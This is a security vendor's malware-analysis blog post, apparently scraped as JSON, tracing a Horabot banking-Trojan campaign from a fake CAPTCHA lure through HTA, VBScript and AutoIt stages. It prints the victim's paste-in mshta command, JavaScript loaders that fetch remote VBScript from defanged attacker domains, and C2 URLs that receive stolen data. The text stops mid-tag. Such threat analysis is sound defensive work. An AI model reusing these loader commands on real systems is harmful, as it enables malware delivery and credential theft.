{"id":1980,"date":"2026-03-18T11:04:50","date_gmt":"2026-03-18T11:04:50","guid":{"rendered":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/"},"modified":"2026-03-18T11:04:50","modified_gmt":"2026-03-18T11:04:50","slug":"the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico","status":"publish","type":"post","link":"https:\/\/blog.ibvl.in\/index.php\/2026\/03\/18\/the-soc-files-time-to-sapecar-unpacking-a-new-horabot-campaign-in-mexico\/","title":{"rendered":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico"},"content":{"rendered":"<div>\n<p><img width=\"990\" height=\"400\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/03\/12131223\/SL-Horabot-featured-1-990x400.jpg\" class=\"attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image\" alt=\"\" decoding=\"async\" loading=\"lazy\"><\/p>\n<h2 id=\"introduction\">Introduction<\/h2>\n<p>In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as <strong>Horabot<\/strong>, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.<\/p>\n<p>Although previous research has documented Horabot campaigns (<a href=\"https:\/\/blog.talosintelligence.com\/new-horabot-targets-americas\/\" target=\"_blank\" rel=\"noopener\">here<\/a> and <a href=\"https:\/\/www.fortinet.com\/blog\/threat-research\/horabot-unleashed-a-stealthy-phishing-threat\" target=\"_blank\" rel=\"noopener\">here<\/a>), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.<\/p>\n<h2 id=\"the-starting-point\">The starting point<\/h2>\n<p>As usual, our story begins with an alert that popped up in one of our customers\u2019 environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (<a href=\"https:\/\/encyclopedia.kaspersky.com\/knowledge\/heuristic-and-proactive-detections\/\" target=\"_blank\" rel=\"noopener\">PDM<\/a>)) and removed the related files before the threat could progress any further.<\/p>\n<p><input type=\"hidden\" class=\"category_for_banner\" data-type=\"posts\" value=\"mdr-in-post-banner\"><\/p>\n<p>The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.<\/p>\n<h2 id=\"the-attack-chain\">The attack chain<\/h2>\n<p>After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.<\/p>\n<h3 id=\"stage-1-initial-lure\">Stage 1: Initial lure<\/h3>\n<p>Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL https:\/\/evs.grupotuis[.]buzz\/0capcha17\/ (details about its content can be found <a href=\"https:\/\/urlscan.io\/result\/0198e675-6c09-72d8-81fc-c5c33df16dc1\/dom\/\" target=\"_blank\" rel=\"noopener\">here<\/a>).<\/p>\n<div id=\"attachment_119034\" style=\"width: 478px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1.png\" class=\"magnificImage\"><img fetchpriority=\"high\" decoding=\"async\" aria-describedby=\"caption-attachment-119034\" class=\"size-full wp-image-119034\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1.png\" alt=\"Fake CAPTCHA page at the URL https:\/\/evs.grupotuis[.]buzz\/0capcha17\/\" width=\"468\" height=\"531\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1.png 468w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1-264x300.png 264w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1-308x350.png 308w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133444\/horabot-campaign1-247x280.png 247w\" sizes=\"(max-width: 468px) 100vw, 468px\"><\/a><\/p>\n<p id=\"caption-attachment-119034\" class=\"wp-caption-text\">Fake CAPTCHA page at the URL https:\/\/evs.grupotuis[.]buzz\/0capcha17\/<\/p>\n<\/div>\n<p>Similar to the <a href=\"https:\/\/securelist.com\/lumma-fake-captcha-attacks-analysis\/116274\/\" target=\"_blank\" rel=\"noopener\">Lumma<\/a> and <a href=\"https:\/\/securelist.com\/fake-captcha-delivers-lumma-amadey\/114312\/\" target=\"_blank\" rel=\"noopener\">Amadey<\/a> cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">mshta https:\/\/evs.grupotuis[.]buzz\/0capcha17\/DMEENLIGGB.hta<\/pre>\n<p>This command retrieved and executed an HTA file that contained the following:<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119035\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2.png\" alt=\"\" width=\"1169\" height=\"561\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2.png 1169w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-300x144.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-1024x491.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-768x369.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-729x350.png 729w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-740x355.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-583x280.png 583w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133620\/horabot-campaign2-800x384.png 800w\" sizes=\"auto, (max-width: 1169px) 100vw, 1169px\"><\/a><\/p>\n<p>It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker\u2019s domain. The body contains a large block of random, meaningless text that serves purely as filler.<\/p>\n<h3 id=\"stage-2-a-pinch-of-server-side-polymorphism\">Stage 2: A pinch of server-side polymorphism<\/h3>\n<p>The payload loaded by the HTA file dynamically creates a new <code>&lt;script&gt;<\/code> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <code>&lt;head&gt;<\/code> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">var scriptEle = document.createElement(\"script\");\r\nscriptEle.setAttribute(\"src\", \"https:\/\/pdj.gruposhac[.]lat\/g1\/ld1\/\"); \r\nscriptEle.setAttribute(\"type\", \"text\/vbscript\"); \r\ndocument.getElementsByTagName('head')[0].appendChild(scriptEle);<\/pre>\n<p>The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of <strong>server-side polymorphism<\/strong> because each access to the same resource returned a slightly different version of the code while preserving the same functionality.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119036\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3.png\" alt=\"\" width=\"1669\" height=\"960\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3.png 1669w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-300x173.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-1024x589.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-768x442.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-1536x883.png 1536w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-608x350.png 608w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-740x426.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-487x280.png 487w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133826\/horabot-campaign3-800x460.png 800w\" sizes=\"auto, (max-width: 1669px) 100vw, 1669px\"><\/a><\/p>\n<p>The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the <code>decode_str()<\/code> routine.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119037\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4.png\" alt=\"\" width=\"888\" height=\"632\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4.png 888w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-300x214.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-768x547.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-492x350.png 492w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-740x527.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-393x280.png 393w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24133904\/horabot-campaign4-800x569.png 800w\" sizes=\"auto, (max-width: 888px) 100vw, 888px\"><\/a><\/p>\n<p>The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">var scriptEle = document.createElement(\"script\");\r\nscriptEle.setAttribute(\"src\", \"https:\/\/pdj.gruposhac[.]lat\/g1\/\"); \r\nscriptEle.setAttribute(\"type\", \"text\/vbscript\"); \r\ndocument.getElementsByTagName('head')[0].appendChild(scriptEle);<\/pre>\n<p>Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:<\/p>\n<ul>\n<li><strong>Heavy obfuscation:<\/strong> the script uses multiple layers of obfuscation to obscure its behavior.<\/li>\n<li><strong>Custom string decoder:<\/strong> employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.<\/li>\n<li><strong>Anti-VM and \u201canti-Avast\u201d:<\/strong> performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.<\/li>\n<li><strong>Information gathering and exfiltration:<\/strong> collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.<\/li>\n<li><strong>Download of additional components:<\/strong> retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path <code>C:UsersPublicLAPTOP-0QF0NEUP4<\/code>.<\/li>\n<li><strong>PowerShell command execution:<\/strong> executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).<\/li>\n<li><strong>Persistence setup:<\/strong> creates a LNK file and drops it into the Startup folder to maintain persistence.<\/li>\n<li><strong>Cleanup routines:<\/strong> removes temporary files and terminates selected processes.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119038\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5.png\" alt=\"\" width=\"1365\" height=\"973\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5.png 1365w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-300x214.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-1024x730.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-768x547.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-491x350.png 491w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-740x527.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-393x280.png 393w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24134018\/horabot-campaign5-800x570.png 800w\" sizes=\"auto, (max-width: 1365px) 100vw, 1365px\"><\/a><\/p>\n<p>During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the \u201csalvar.php\u201d portion, we uncovered an exposed webpage where the adversary listed all their victims.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119047\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6.png\" alt=\"\" width=\"1125\" height=\"1016\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6.png 1125w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-300x271.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-1024x925.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-768x694.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-388x350.png 388w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-740x668.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-310x280.png 310w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181742\/horabot-campaign6-800x722.png 800w\" sizes=\"auto, (max-width: 1125px) 100vw, 1125px\"><\/a><\/p>\n<p>As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the \u201cLocaliza\u00e7\u00e3o\u201d (location) column, the adversary even included the victims\u2019 geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.<\/p>\n<h3 id=\"stage-3-the-evil-combination-of-autoit-and-a-banking-trojan\">Stage 3: The evil combination of AutoIT and a banking Trojan<\/h3>\n<p>It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let\u2019s focus only on what really matters.<\/p>\n<p>The most important routine is responsible for decrypting the blob file (it uses <strong>AES-192<\/strong> with a key derived from the seed value <code>99521487<\/code>), loading it directly into memory, and then calling the exported function <code>B080723_N<\/code>. The decrypted blob is a DLL.<\/p>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119048\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7.png\" alt=\"\" width=\"545\" height=\"731\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7.png 545w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7-224x300.png 224w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7-261x350.png 261w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24181926\/horabot-campaign7-209x280.png 209w\" sizes=\"auto, (max-width: 545px) 100vw, 545px\"><\/a><\/p>\n<p>We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:<\/p>\n<ul>\n<li>The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as <em>Casbaneiro<\/em>, <em>Ponteiro<\/em>, <em>Metamorfo<\/em>, and <em>Zusy<\/em>.<\/li>\n<\/ul>\n<ul>\n<li>It embeds two old OpenSSL libraries (<strong>libeay32.dll<\/strong> and <strong>ssleay32.dll<\/strong>) from the <strong>Indy Project<\/strong>, an open-source client\/server communications library used to establish client\/server HTTPS C2 communication.<\/li>\n<\/ul>\n<ul>\n<li>It includes SQL commands used to harvest credentials from browsers.<\/li>\n<\/ul>\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-119049\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8.png\" alt=\"\" width=\"1977\" height=\"805\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8.png 1977w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-300x122.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-1024x417.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-768x313.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-1536x625.png 1536w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-860x350.png 860w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-740x301.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-688x280.png 688w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182009\/horabot-campaign8-800x326.png 800w\" sizes=\"auto, (max-width: 1977px) 100vw, 1977px\"><\/a><\/p>\n<p>Once loaded into memory, the Trojan sends several HTTP requests to different URLs:<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>URL<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<tr>\n<td>https:\/\/cgf.facturastbs[.]shop\/0725\/a\/home (GET)<\/td>\n<td>A page containing an encrypted configuration<\/td>\n<\/tr>\n<tr>\n<td>https:\/\/cfg.brasilinst[.]site\/a\/br\/logs\/index.php?CHLG (POST)<\/td>\n<td>A URL for posting host information, but in our lab tests the value was empty.<br \/>\nRequest content example:<br \/>\nHost: \u2018 \u2018<\/td>\n<\/tr>\n<tr>\n<td>https:\/\/aufal.filevexcasv[.]buzz\/on7\/index15.php (POST)<br \/>\nhttps:\/\/aufal.filevexcasv[.]buzz\/on7all\/index15.php (POST)<\/td>\n<td>A URL used to post victim information<br \/>\nRequest content example:<br \/>\nAT: \u2018 Microsoft Windows 10 Pro FLARE-VM (64)bit REMFLARE-VM\u2019<br \/>\nMD: 040825VS<\/td>\n<\/tr>\n<tr>\n<td>https:\/\/cgf.facturastbs[.]shop\/a\/08\/150822\/au\/at.html<\/td>\n<td>HTML lure page designed to trick the user into accessing a malicious link whose contents are also used as a PDF attachment during the email distribution phase.<\/td>\n<\/tr>\n<tr>\n<td>https:\/\/upstar.pics\/a\/08\/150822\/up\/up (GET)<\/td>\n<td>The resource was already unavailable at the time our testing was conducted.<\/td>\n<\/tr>\n<tr>\n<td>https:\/\/cgf.midasx.site\/a\/08\/150822\/au\/au (GET)<\/td>\n<td>The page containing the first stage leading to the spreader.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Since this malware family has been extensively documented in previous studies, we won\u2019t reiterate its well-known functionality. Instead, we\u2019ll focus on lesser-documented and newly observed features, including the malware\u2019s encryption and protocol handling logic.<\/p>\n<p>The sample implements a stateful XOR-subtraction cipher in the <code>sub_00A86B64<\/code> subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string <code>\"0xFF0wx8066h\"<\/code>.<\/p>\n<div id=\"attachment_119050\" style=\"width: 1057px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119050\" class=\"size-full wp-image-119050\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9.png\" alt=\"Key construction (left) and decryption logic (right)\" width=\"1047\" height=\"589\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9.png 1047w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-300x169.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-1024x576.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-768x432.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-800x450.png 800w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-622x350.png 622w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-740x416.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182059\/horabot-campaign9-498x280.png 498w\" sizes=\"auto, (max-width: 1047px) 100vw, 1047px\"><\/a><\/p>\n<p id=\"caption-attachment-119050\" class=\"wp-caption-text\">Key construction (left) and decryption logic (right)<\/p>\n<\/div>\n<p>We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:<\/p>\n<pre class=\"urvanov-syntax-highlighter-plain-tag\">def decrypt_string(encrypted_hex):\r\n    key_string = \"0xFF0wx8066h\"\r\n    key_index = 0\r\n    result = \"\"\r\n    \r\n    current_key = int(encrypted_hex[0:2], 16)\r\n    \r\n    i = 2\r\n    while i &lt; len(encrypted_hex):\r\n        next_key = int(encrypted_hex[i:i+2], 16)\r\n        if key_index &gt;= len(key_string):\r\n            key_index = 0\r\n        key_char = ord(key_string[key_index])\r\n        xored_value = next_key ^ key_char\r\n        \r\n        if xored_value &gt; current_key:\r\n            decrypted_char = xored_value - current_key\r\n        else:\r\n            decrypted_char = (xored_value + 0xFF) - current_key\r\n        \r\n        result += chr(decrypted_char)\r\n        current_key = next_key\r\n        key_index += 1\r\n        i += 2\r\n    \r\n    return result<\/pre>\n<p><strong><em>Python implementation of the decryption routine<\/em><\/strong><\/p>\n<p>The encrypted strings can be retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also <a href=\"https:\/\/www.welivesecurity.com\/2019\/10\/03\/casbaneiro-trojan-dangerous-cooking\/#characteristics\" target=\"_blank\" rel=\"noopener\">observed<\/a> by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.<\/p>\n<div id=\"attachment_119051\" style=\"width: 1390px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119051\" class=\"size-full wp-image-119051\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10.png\" alt=\"Direct pointer (left), indirect pointer (right)\" width=\"1380\" height=\"217\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10.png 1380w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10-300x47.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10-1024x161.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10-768x121.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10-740x116.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182241\/horabot-campaign10-800x126.png 800w\" sizes=\"auto, (max-width: 1380px) 100vw, 1380px\"><\/a><\/p>\n<p id=\"caption-attachment-119051\" class=\"wp-caption-text\">Direct pointer (left), indirect pointer (right)<\/p>\n<\/div>\n<div id=\"attachment_119052\" style=\"width: 1358px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11.png\" class=\"magnificImage\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-119052\" class=\"size-full wp-image-119052\" src=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11.png\" alt=\"Indexed strings via TStringList lookups\" width=\"1348\" height=\"449\" srcset=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11.png 1348w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-300x100.png 300w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-1024x341.png 1024w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-768x256.png 768w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-1051x350.png 1051w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-740x246.png 740w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-841x280.png 841w, https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2026\/02\/24182319\/horabot-campaign11-800x266.png 800w\" sizes=\"auto, (max-width: 1348px) 100vw, 1348px\"><\/a><\/p>\n<p id=\"caption-attachment-119052\" 